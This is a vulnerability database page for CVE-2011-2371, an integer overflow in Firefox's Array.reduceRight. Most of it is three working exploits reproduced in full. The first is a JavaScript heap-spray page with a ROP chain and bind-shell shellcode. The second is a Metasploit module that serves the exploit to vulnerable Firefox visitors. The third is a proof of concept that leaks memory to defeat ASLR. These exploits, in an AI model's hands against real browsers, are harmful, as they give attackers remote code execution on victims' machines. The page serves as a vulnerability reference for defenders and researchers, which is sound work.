CVE-2011-2371 : Detail

CVE-2011-2371

95.62%V3
Network
2011-06-30
14h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in the Array.reduceRight method in Mozilla Firefox before 3.6.18 and 4.x through 4.0.1, Thunderbird before 3.1.11, and SeaMonkey through 2.0.14 allows remote attackers to execute arbitrary code via vectors involving a long JavaScript Array object.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 17974

Publication date : 2011-10-11 22h00 +00:00
Author : ryujin
EDB Verified : Yes

# Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit # Date: 12 Oct 2011 # Author: Matteo Memelli ryujin -AT- offensive-security.com # CVE-2011-2371 # Full exploit package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17974.zip <html> <head> <title>ff-i-<3-u</title> </head> <body> <center> <br /> Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit<br /> Date: 12 Oct 2011<br /> Author: Matteo Memelli ryujin -AT- offensive-security.com<br /> CVE-2011-2371<br /> Full exploit package: <br /> https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17974.zip <br /> <br /> Thx to dookie for helping ;)<br/> Vulnerability discovered by Chris Rohlf and Yan Ivnitskiy of Matasano Security<br /> http://www.mozilla.org/security/announce/2011/mfsa2011-22.html<br/> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2371<br/> DEP / ASLR bypassing through JAVA MSVCR71 sayonara rop chain<br/> Tested on Windows 7 Ultimate / firefox 3.6.16 and 3.6.17<br/><br/> <APPLET id="MyApplet" code="ph33r.class" width=150 height=50> You need a Java-enabled browser to pwn this. </APPLET> </center> <script type="text/javascript"> var applet = document.getElementById('MyApplet'); function spray() { // fake object pointers var ptrs = unescape("%u4141" + // padding // MOV EDX,DWORD[ESI] 0c000048=0c00007c "%u0048%u0c00" + "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141" + // padding // PIVOT MSVCR71.dll 0x7C370EEF LEA ESP,[ESI-3] // RETN 1C75 "%u0EEF%u7C37" + "%u4141%u4141" + // padding "%u4141" + // padding "%u240c%u3410" + // 3410240c RETN after PIVOT "%u007c%u0c00" + // 0c00007c PTR TO END OF BUFFER "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u4141%u4141" + // padding "%u002e%u0c00"); // 0c00007c -> 0c00002e // CALL PIVOT 0x7C370EEF var bheader = 0x12/2; // u.n.d.e.f.i.n.e.d. string // beginning of each array element var nullt = 0x2/2; // string null terminator // 0:000> ? 0c001cbe - 0c000012 // Evaluate expression: 7340 = 00001cac var espoffset = (7340 /2) - ptrs.length; var esppadding = unescape("%u0c0c%u0c0c"); while(esppadding.length < espoffset) {esppadding += esppadding;} esppadding = esppadding.substring(0, espoffset); // sayonara rop chain rop = unescape("%u4cc1%u7c34"); // pop eax;ret; rop += unescape("%u10c2%u7c34"); // pop ecx;pop ecx;ret; rop += unescape("%u2462%u7c34"); // xor chain; call eax {0x7C3410C2} rop += unescape("%uc510%u7c38"); // writeable loc for lpflOldProtect rop += unescape("%u5645%u7c36"); // pop esi;ret; rop += unescape("%u5243%u7c34"); // ret; rop += unescape("%u8f46%u7c34"); // pop ebp;ret; rop += unescape("%u87ec%u7c34"); // call eax; rop += unescape("%u4cc1%u7c34"); // pop eax;ret; rop += unescape("%ufdff%uffff"); // {size} rop += unescape("%ud749%u7c34"); // neg eax;ret; {adjust size} rop += unescape("%u58aa%u7c34"); // add ebx, eax;ret; {size into ebx} rop += unescape("%u39fa%u7c34"); // pop edx;ret; rop += unescape("%uffc0%uffff"); // {flag} rop += unescape("%u1eb1%u7c35"); // neg edx;ret; {adjust flag} rop += unescape("%u4648%u7c35"); // pop edi;ret; rop += unescape("%u30ea%u7c35"); // mov eax,[eax];ret; rop += unescape("%u4cc1%u7c34"); // pop eax;ret; rop += unescape("%ua181%u7c37"); // (VP RVA + 30 - {0xEF adjustment} rop += unescape("%u5aeb%u7c35"); // sub eax,30;ret; rop += unescape("%u8c81%u7c37"); // pushad; add al,0xef; ret; rop += unescape("%u683f%u7c36"); // push esp;ret; rop += unescape("%ubc90%u0c0c%u0c0c"); // NOP / MOV ESP,0x0c0c0c0c // windows/shell_bind_tcp - 341 bytes // http://www.metasploit.com // VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, // InitialAutoRunScript=, AutoRunScript= var shell = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" + "%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" + "%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" + "%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" + "%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" + "%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" + "%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" + "%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" + "%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" + "%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" + "%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" + "%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" + "%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" + "%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" + "%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" + "%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" + "%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" + "%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" + "%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" + "%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" + "%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" + "%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" + "%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" + "%u006a%uff53%u41d5"); rop += shell; var tr_padding = unescape("%u0c0c%u0c0c"); while(tr_padding.length < 0x80000) {tr_padding += tr_padding;} var dummy = ptrs + esppadding + rop + tr_padding; var hspray = dummy.substring(0,0x80000 - bheader - nullt); // Allocation of 64 blocks of 1Mb. HeapBlocks = new Array() for (i=0;i<0x40;i++){ HeapBlocks[i] += hspray; } } spray(); hola = new Array; hola.length = 2197815302; // 0x0c000014 beginning of sprayed block w00t = function ph33r(prev, myobj, indx, array) { alert(myobj[0]); // trigger getProperty } hola.reduceRight(w00t,1,2,3); </script> </body> </html>
Exploit Database EDB-ID : 17976

Publication date : 2011-10-12 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: mozilla_reduceright.rb 13909 2011-10-13 03:16:15Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Mozilla Firefox Array.reduceRight() Integer Overflow", 'Description' => %q{ This module exploits a vulnerability found in Mozilla Firefox 3.6. When an array object is configured with a large length value, the reduceRight() method may cause an invalid index being used, allowing abitrary remote code execution. Please note that the exploit requires a longer amount of time (compare to a typical browser exploit) in order to gain control of the machine. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 13909 $", 'Author' => [ 'Chris Rohlf', #Matasano Security (Initial discovery according to Mozilla.org) 'Yan Ivnitskiy', #Matasano Security (Initial discovery with Chris?) 'Matteo Memelli', #PoC from Exploit-DB 'dookie2000ca', #"Helping" ryujin (Matteo) 'sinn3r', #Metasploit ], 'References' => [ ['CVE', '2011-2371'], ['URL', 'http://http://www.exploit-db.com/exploits/17974/'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009'] ], 'Payload' => { 'BadChars' => "\x00", 'PrependEncoder' => "\xbc\x0c\x0c\x0c\x0c", }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ #Windows XP / Vista / 7 [ 'Mozilla Firefox 3.6.16', {} ], ], 'Privileged' => false, 'DisclosureDate' => "Jun 21 2011", 'DefaultTarget' => 0 )) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def junk return rand_text_alpha(4).unpack("L")[0].to_i end def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent !~ /Firefox\/3\.6\.[16|17]/ vprint_error("This browser is not supported: #{agent.to_s}") send_not_found(cli) return end #mona.py tekniq! + Payload rop = [ 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # Make EAX readable 0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll) 0x7c348b06, # EBP (NOP) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # <- VirtualProtect() found in IAT 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll) 0x7c346c0b, # Slide, so next gadget would write to correct stack location 0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll) 0x7c348b06, # EDI (filler) 0x7c348b06, # will be patched at runtime (VP), then picked up into ESI 0x7c348b06, # EBX (filler) 0x7c376402, # POP EBP # RETN (msvcr71.dll) 0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0xfffff82f, # size 20001 bytes 0x7c351e05, # NEG EAX # RETN (MSVCR71.dll) 0x7c354901, # POP EBX # RETN (MSVCR71.dll) 0xffffffff, # pop value into ebx 0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll) 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll) 0x7c34d201, # POP ECX # RETN (MSVCR71.dll) 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) 0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll) 0x7c34b8d8, # ROP NOP (-> edi) 0x7c344f87, # POP EDX # RETN (MSVCR71.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target: edx 0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x90909090, # NOPS (-> eax) 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll) ].pack('V*') table = [0x4141].pack('v*') table << [ 0x0c000048, junk, junk, junk, junk, junk, junk, junk, junk, ].pack('V*') table << [0x4141].pack('v*') table << [ 0x7c370eef, junk, ].pack('V*') table << [0x4141].pack('v*') table << [ 0x3410240c, 0x0c00007c, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, 0x0c00002e ].pack('V*') p = payload.encoded arch = Rex::Arch.endian(target.arch) js_payload = Rex::Text.to_unescape(rop + p, arch) js_ptrs = Rex::Text.to_unescape(table, arch) #Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap js = <<-JS var applet = document.getElementById('MyApplet'); function spray() { var ptrs = unescape("#{js_ptrs}"); var bheader = 0x12/2; var nullt = 0x2/2; var espoffset = (7340 /2) - ptrs.length; var esppadding = unescape("%u0c0c%u0c0c"); while(esppadding.length < espoffset) esppadding += esppadding; esppadding = esppadding.substring(0, espoffset); var payload = unescape("#{js_payload}"); var tr_padding = unescape("%u0c0c%u0c0c"); while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;} var dummy = ptrs + esppadding + payload + tr_padding; var hspray = dummy.substring(0,0x7fa00 - bheader - nullt); HeapBlocks = new Array() for (i=0;i<0x60;i++){ HeapBlocks[i] += hspray; } } spray(); obj = new Array; obj.length = 2197815302; f = function trigger(prev, myobj, indx, array) { alert(myobj[0]); } obj.reduceRight(f,1,2,3); JS js = js.gsub(/^\t\t/, '') if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end html = <<-HTML <html> <head> </head> <body> <APPLET id="MyApplet" code="trigger.class" width=150 height=50> You need a Java-enabled browser to pwn this. </APPLET> <script> #{js} </script> </body> <html> HTML print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end
Exploit Database EDB-ID : 18531

Publication date : 2012-02-26 23h00 +00:00
Author : pa_kt
EDB Verified : No

<!-- Full Exploit Code: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18531.zip PoC exploit for CVE-2011-2371 tested against Firefox 4.0.1 md5 of mozjs.dll: 5d7ffcc9deb5bb08417ceae51d2afed4 change constants to switch between w7/xp. see my blog if you want to know how this works. http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/ p_k twitter.com/pa_kt gdtr.wordpress.com --> <html> <script src="jspack.js"></script> <script> function hex(x){ var y = x.toString(16); y = "0x"+y; return y; } function itoa(i) { return String.fromCharCode(i); } // n - length in bytes (1 unicode char = 2 bytes) function puff(x, n){ while(x.length < n) x += x; return x.substring(0,n); } function arr2hex(tab){ var s = ""; for(var i in tab){ x = tab[i]; x = x.toString(16); if(x.length<2) x = "0"+x; s += x + " "; } return s; } function arr2ascii(tab){ var s = "" for(var i in tab){ x = tab[i]; if(0x20 <= x && x<=0x7f){ y = itoa(x); } else{ y = "."; } s += y; } return s; } function xchg(d,i,j){ t = d[i]; d[i] = d[j]; d[j] = t; } function bswap(d){ xchg(d, 0, 3); xchg(d, 1, 2); } function nicer(tab){ jsp = new JSPack(); res = []; for(var i in tab){ x = tab[i]; t = jsp.Pack("d", [x]); d1 = t.slice(0, 4); d2 = t.slice(4, 8); bswap(d1); bswap(d2); t = [d1,d2]; res = res.concat(t); } res = res.reverse(); return res; } function dw2int(d){ n = 0; for(var i=0;i<4;i++){ n *= 256; n += d[3-i]; } return n; } function convert(tab){ o = s = v = ""; for(var i in tab){ d = tab[i]; s += arr2hex(d); v += arr2ascii(d); if((parseInt(i)+1)%4==0){ o += s + " | " + v + "\n"; s = ""; v = ""; } } return o; } function check_pair(d1, d2){ var n1 = dw2int(d1); var n2 = dw2int(d2); if(n2-n1 == 0x304) return true; return false; } function find_mozjs_base(tab){ var n1 = 0; for(var i=0;i<tab.length-4;i++){ d1 = tab[i]; d2 = tab[i+1]; if(check_pair(d1,d2)){ n1 = dw2int(d1); n1 = n1 - 0x3cac; //n1 = mozjs .data n1 = n1 - 0x1B2000; //n1 = mozjs base break; } } return n1; } function d2u(dword){ var uni = String.fromCharCode(dword & 0xFFFF); uni += String.fromCharCode(dword>>16); return uni; } function odd_d2u(d1, d2){ uni = String.fromCharCode((d1&0xFF)<<8); uni += String.fromCharCode((d1>>8)&0xFFFF); uni += String.fromCharCode((d1>>24)+((d2 & 0xFF)<<8)); //1+1<<8 == 512 in JS T_T uni += String.fromCharCode((d2>>8)&0xFFFF); uni += String.fromCharCode(d2>>24); return uni; } // generated with mona.py function rop_chain(mozjs_base){ var arr = [ mozjs_base + 0x000c96e6, // POP EAX // RETN [mozjs.dll] mozjs_base + 0x0015d054, // ptr to &VirtualAlloc() [IAT mozjs.dll] mozjs_base + 0x00028510, // MOV EAX,DWORD PTR DS:[EAX] // RETN [mozjs.dll] mozjs_base + 0x0014293c, // XCHG EAX,ESI // RETN [mozjs.dll] mozjs_base + 0x0014d00d, // POP EBP // RETN [mozjs.dll] mozjs_base + 0x000d7ee2, // & push esp // ret 04 [mozjs.dll] mozjs_base + 0x000be327, // POP EBX // RETN [mozjs.dll] 0x00000001, // 0x00000001-> ebx mozjs_base + 0x0004f422, // POP EDX // RETN [mozjs.dll] 0x00001000, // 0x00001000-> edx mozjs_base + 0x000b1421, // POP ECX // RETN [mozjs.dll] 0x00000040, // 0x00000040-> ecx mozjs_base + 0x000062e3, // POP EDI // RETN [mozjs.dll] mozjs_base + 0x0000f005, // RETN (ROP NOP) [mozjs.dll] mozjs_base + 0x000652f0, // POP EAX // RETN [mozjs.dll] 0x90909090, // nop mozjs_base + 0x001372bd // PUSHAD // RETN [mozjs.dll] ]; return arr; } function tab2uni(tab){ var uni = "" for(var i=0;i<tab.length;i++){ uni += d2u(tab[i]); } return uni; } function spray(mozjs_base, h1_s, hsize) { function rva2va(addr) { return addr+mozjs_base; } function rva2d(addr) { return d2u(rva2va(addr)); } var align = 0x100000; var tab_offset = 0x1000; var TYPE_OBJECT = "%u0007%uffff"; var pivot_rva = 0x1a21c; // 0x68e7a21c : # ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN var mov_esp_ebp_rva = 0x1a222; // mov esp, ebp # pop ebp # ret var h2_s = h1_s + hsize; var h2_middle = (h2_s + hsize/2) & (~(align-1)); //align //mov eax,dword ptr [edi+64h] ;edi=[h2_ptr+4], later: call eax var h2_ptr = h2_middle + tab_offset; var off1 = h2_ptr; var off2 = h2_ptr-0x64; var v1 = d2u(off1); var h1_fill = unescape(v1+TYPE_OBJECT); var foo = puff(h1_fill, 0x4000); var h1_spray = foo.substring(0,(0x4000/2)-2); var pivot_va = rva2va(pivot_rva); pivot_va = d2u(pivot_va); off2 = d2u(off2); var new_ebp = h2_ptr+18; var mov_esp_ebp_va = rva2va(mov_esp_ebp_rva); var set_esp = odd_d2u(new_ebp, mov_esp_ebp_va); var rop = tab2uni(rop_chain(mozjs_base)); //shellcode by skylined var msgbox_shellcode = "%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucac1%uae01%uf775%u8166%u2afa%u74b6%u6609%ufa81%u1aaa%udbe0%uc575%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u8597%u74f6%u6812%u3233%u2020%u7568%u6573%u5472%ud5ff%u3195%uebf6%u56a3%u3168%u0021%u6800%u322d%u3733%u3268%u3130%u6831%u7663%u2d65%u8754%u2404%u5050%uff56%uccd5"; var x = unescape(pivot_va+off2+set_esp+"%u1111%u2222"+rop+msgbox_shellcode); x = puff(x, 0x4000); var h2_spray = x.substring(0,(0x4000/2)-2); var spray_tab = new Array(); for (i=0;i<0x1000;i++){ spray_tab[i] = h1_spray+"1"; spray_tab[i].indexOf("zzz"); } for (i=0x1000;i<0x2000;i++){ spray_tab[i] = h2_spray+"2"; spray_tab[i].indexOf("zzz"); } } var exploit_func = function bleh(prev, current, index, array) { //boom = typeof current; current[4] = 1; // add ebp, ebx, where ebx=2*4+1=9 //throw "up"; } function trigger(func, arr_len){ xyz.length = arr_len; try{ xyz.reduceRight(func,1,2,3); } catch(e){ } } function leak(){ var CHUNK_SIZE = 0x1000; var leak_arr_len = 0xffffffff; mem = []; count = 0; var leak_func = function bleh(prev, current, index, array) { if(typeof current == "number"){ mem.push(current); } count += 1; if(count>=CHUNK_SIZE/8){ throw "lol"; } } function dump_mem(leak_f, arr_len){ var dump = document.getElementById("dump"); var mozjs_base = 0; for(var i=0;;i++){ mem = []; count = 0; trigger(leak_f, arr_len); mem = nicer(mem); s = convert(mem); dump.innerHTML = s; //alert("leaked bytes: "+hex(mem.length*4)); mozjs_base = find_mozjs_base(mem); //alert("mozjs base: "+hex(mozjs_base)); if(mozjs_base != 0){ break; } } return mozjs_base; } var base = dump_mem(leak_func, leak_arr_len); return base; } function go(){ //var arr_ptr = 0x05000000; //(xp sp3) //var h1_s = 0x05b00000; //var h2_e = 0x0fb00000; var arr_ptr = 0x0b000000; //w7 var h1_s = 0x0b500000; var h2_e = 0x16e00000; var size = h2_e-h1_s; var hsize = size/2; var h1_middle = h1_s+hsize/2; var exp_arr_len = (h1_middle - arr_ptr)/8 + 0x80000000; var mozjs_base = leak(); spray(mozjs_base, h1_s, hsize); alert("ready"); while(1){ trigger(exploit_func, exp_arr_len); exp_arr_len -= 0x500; } } // globals var xyz = new Array(); </script> <body> <input type="button" value="go" onclick="go()" /> <pre id="dump"> </pre> </body> </html>

Products Mentioned

Configuraton 0

Mozilla>>Seamonkey >> Version 1.0

Mozilla>>Seamonkey >> Version 1.0

Mozilla>>Seamonkey >> Version 1.0

Mozilla>>Seamonkey >> Version 1.0.1

Mozilla>>Seamonkey >> Version 1.0.2

Mozilla>>Seamonkey >> Version 1.0.3

Mozilla>>Seamonkey >> Version 1.0.4

Mozilla>>Seamonkey >> Version 1.0.5

Mozilla>>Seamonkey >> Version 1.0.6

Mozilla>>Seamonkey >> Version 1.0.7

Mozilla>>Seamonkey >> Version 1.0.8

Mozilla>>Seamonkey >> Version 1.0.9

Mozilla>>Seamonkey >> Version 1.1

Mozilla>>Seamonkey >> Version 1.1

Mozilla>>Seamonkey >> Version 1.1

Mozilla>>Seamonkey >> Version 1.1.1

Mozilla>>Seamonkey >> Version 1.1.2

Mozilla>>Seamonkey >> Version 1.1.3

Mozilla>>Seamonkey >> Version 1.1.4

Mozilla>>Seamonkey >> Version 1.1.5

Mozilla>>Seamonkey >> Version 1.1.6

Mozilla>>Seamonkey >> Version 1.1.7

Mozilla>>Seamonkey >> Version 1.1.8

Mozilla>>Seamonkey >> Version 1.1.9

Mozilla>>Seamonkey >> Version 1.1.10

Mozilla>>Seamonkey >> Version 1.1.11

Mozilla>>Seamonkey >> Version 1.1.12

Mozilla>>Seamonkey >> Version 1.1.13

Mozilla>>Seamonkey >> Version 1.1.14

Mozilla>>Seamonkey >> Version 1.1.15

Mozilla>>Seamonkey >> Version 1.1.16

Mozilla>>Seamonkey >> Version 1.1.17

Mozilla>>Seamonkey >> Version 1.1.18

Mozilla>>Seamonkey >> Version 1.1.19

Mozilla>>Seamonkey >> Version 1.5.0.8

Mozilla>>Seamonkey >> Version 1.5.0.9

Mozilla>>Seamonkey >> Version 1.5.0.10

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0

Mozilla>>Seamonkey >> Version 2.0.1

Mozilla>>Seamonkey >> Version 2.0.2

Mozilla>>Seamonkey >> Version 2.0.3

Mozilla>>Seamonkey >> Version 2.0.4

Mozilla>>Seamonkey >> Version 2.0.5

Mozilla>>Seamonkey >> Version 2.0.6

Mozilla>>Seamonkey >> Version 2.0.7

Mozilla>>Seamonkey >> Version 2.0.8

Mozilla>>Seamonkey >> Version 2.0.9

Mozilla>>Seamonkey >> Version 2.0.10

Mozilla>>Seamonkey >> Version 2.0.11

Mozilla>>Seamonkey >> Version 2.0.12

Mozilla>>Seamonkey >> Version 2.0.13

Mozilla>>Seamonkey >> Version 2.0.14

Configuraton 0

Mozilla>>Firefox >> Version To (including) 3.6.17

Mozilla>>Firefox >> Version 1.0

Mozilla>>Firefox >> Version 1.0

Mozilla>>Firefox >> Version 1.0.1

Mozilla>>Firefox >> Version 1.0.2

Mozilla>>Firefox >> Version 1.0.3

Mozilla>>Firefox >> Version 1.0.4

Mozilla>>Firefox >> Version 1.0.5

Mozilla>>Firefox >> Version 1.0.6

Mozilla>>Firefox >> Version 1.0.7

Mozilla>>Firefox >> Version 1.0.8

Mozilla>>Firefox >> Version 1.5

Mozilla>>Firefox >> Version 1.5

Mozilla>>Firefox >> Version 1.5

Mozilla>>Firefox >> Version 1.5.0.1

Mozilla>>Firefox >> Version 1.5.0.2

Mozilla>>Firefox >> Version 1.5.0.3

Mozilla>>Firefox >> Version 1.5.0.4

Mozilla>>Firefox >> Version 1.5.0.5

Mozilla>>Firefox >> Version 1.5.0.6

Mozilla>>Firefox >> Version 1.5.0.7

Mozilla>>Firefox >> Version 1.5.0.8

Mozilla>>Firefox >> Version 1.5.0.9

Mozilla>>Firefox >> Version 1.5.0.10

Mozilla>>Firefox >> Version 1.5.0.11

Mozilla>>Firefox >> Version 1.5.0.12

Mozilla>>Firefox >> Version 1.5.1

Mozilla>>Firefox >> Version 1.5.2

Mozilla>>Firefox >> Version 1.5.3

Mozilla>>Firefox >> Version 1.5.4

Mozilla>>Firefox >> Version 1.5.5

Mozilla>>Firefox >> Version 1.5.6

Mozilla>>Firefox >> Version 1.5.7

Mozilla>>Firefox >> Version 1.5.8

Mozilla>>Firefox >> Version 2.0

Mozilla>>Firefox >> Version 2.0.0.1

Mozilla>>Firefox >> Version 2.0.0.2

Mozilla>>Firefox >> Version 2.0.0.3

Mozilla>>Firefox >> Version 2.0.0.4

Mozilla>>Firefox >> Version 2.0.0.5

Mozilla>>Firefox >> Version 2.0.0.6

Mozilla>>Firefox >> Version 2.0.0.7

Mozilla>>Firefox >> Version 2.0.0.8

Mozilla>>Firefox >> Version 2.0.0.9

Mozilla>>Firefox >> Version 2.0.0.10

Mozilla>>Firefox >> Version 2.0.0.11

Mozilla>>Firefox >> Version 2.0.0.12

Mozilla>>Firefox >> Version 2.0.0.13

Mozilla>>Firefox >> Version 2.0.0.14

Mozilla>>Firefox >> Version 2.0.0.15

Mozilla>>Firefox >> Version 2.0.0.16

Mozilla>>Firefox >> Version 2.0.0.17

Mozilla>>Firefox >> Version 2.0.0.18

Mozilla>>Firefox >> Version 2.0.0.19

Mozilla>>Firefox >> Version 2.0.0.20

Mozilla>>Firefox >> Version 3.0

Mozilla>>Firefox >> Version 3.0.1

Mozilla>>Firefox >> Version 3.0.2

Mozilla>>Firefox >> Version 3.0.3

Mozilla>>Firefox >> Version 3.0.4

Mozilla>>Firefox >> Version 3.0.5

Mozilla>>Firefox >> Version 3.0.6

Mozilla>>Firefox >> Version 3.0.7

Mozilla>>Firefox >> Version 3.0.8

Mozilla>>Firefox >> Version 3.0.9

Mozilla>>Firefox >> Version 3.0.10

Mozilla>>Firefox >> Version 3.0.11

Mozilla>>Firefox >> Version 3.0.12

Mozilla>>Firefox >> Version 3.0.13

Mozilla>>Firefox >> Version 3.0.14

Mozilla>>Firefox >> Version 3.0.15

Mozilla>>Firefox >> Version 3.0.16

Mozilla>>Firefox >> Version 3.0.17

Mozilla>>Firefox >> Version 3.5

Mozilla>>Firefox >> Version 3.5.1

Mozilla>>Firefox >> Version 3.5.2

Mozilla>>Firefox >> Version 3.5.3

Mozilla>>Firefox >> Version 3.5.4

Mozilla>>Firefox >> Version 3.5.5

Mozilla>>Firefox >> Version 3.5.6

Mozilla>>Firefox >> Version 3.5.7

Mozilla>>Firefox >> Version 3.5.8

Mozilla>>Firefox >> Version 3.5.9

Mozilla>>Firefox >> Version 3.5.10

Mozilla>>Firefox >> Version 3.5.11

Mozilla>>Firefox >> Version 3.5.12

Mozilla>>Firefox >> Version 3.5.13

Mozilla>>Firefox >> Version 3.5.14

Mozilla>>Firefox >> Version 3.5.15

Mozilla>>Firefox >> Version 3.5.16

Mozilla>>Firefox >> Version 3.5.17

Mozilla>>Firefox >> Version 3.5.18

Mozilla>>Firefox >> Version 3.5.19

Mozilla>>Firefox >> Version 3.6

Mozilla>>Firefox >> Version 3.6.2

Mozilla>>Firefox >> Version 3.6.3

Mozilla>>Firefox >> Version 3.6.4

Mozilla>>Firefox >> Version 3.6.6

Mozilla>>Firefox >> Version 3.6.7

Mozilla>>Firefox >> Version 3.6.8

Mozilla>>Firefox >> Version 3.6.9

Mozilla>>Firefox >> Version 3.6.10

Mozilla>>Firefox >> Version 3.6.11

Mozilla>>Firefox >> Version 3.6.12

Mozilla>>Firefox >> Version 3.6.13

Mozilla>>Firefox >> Version 3.6.14

Mozilla>>Firefox >> Version 3.6.15

Mozilla>>Firefox >> Version 3.6.16

Configuraton 0

Mozilla>>Thunderbird >> Version To (including) 3.1.10

Mozilla>>Thunderbird >> Version 0.1

Mozilla>>Thunderbird >> Version 0.2

Mozilla>>Thunderbird >> Version 0.3

Mozilla>>Thunderbird >> Version 0.4

Mozilla>>Thunderbird >> Version 0.5

Mozilla>>Thunderbird >> Version 0.6

Mozilla>>Thunderbird >> Version 0.7

Mozilla>>Thunderbird >> Version 0.7.1

Mozilla>>Thunderbird >> Version 0.7.2

Mozilla>>Thunderbird >> Version 0.7.3

Mozilla>>Thunderbird >> Version 0.8

Mozilla>>Thunderbird >> Version 0.9

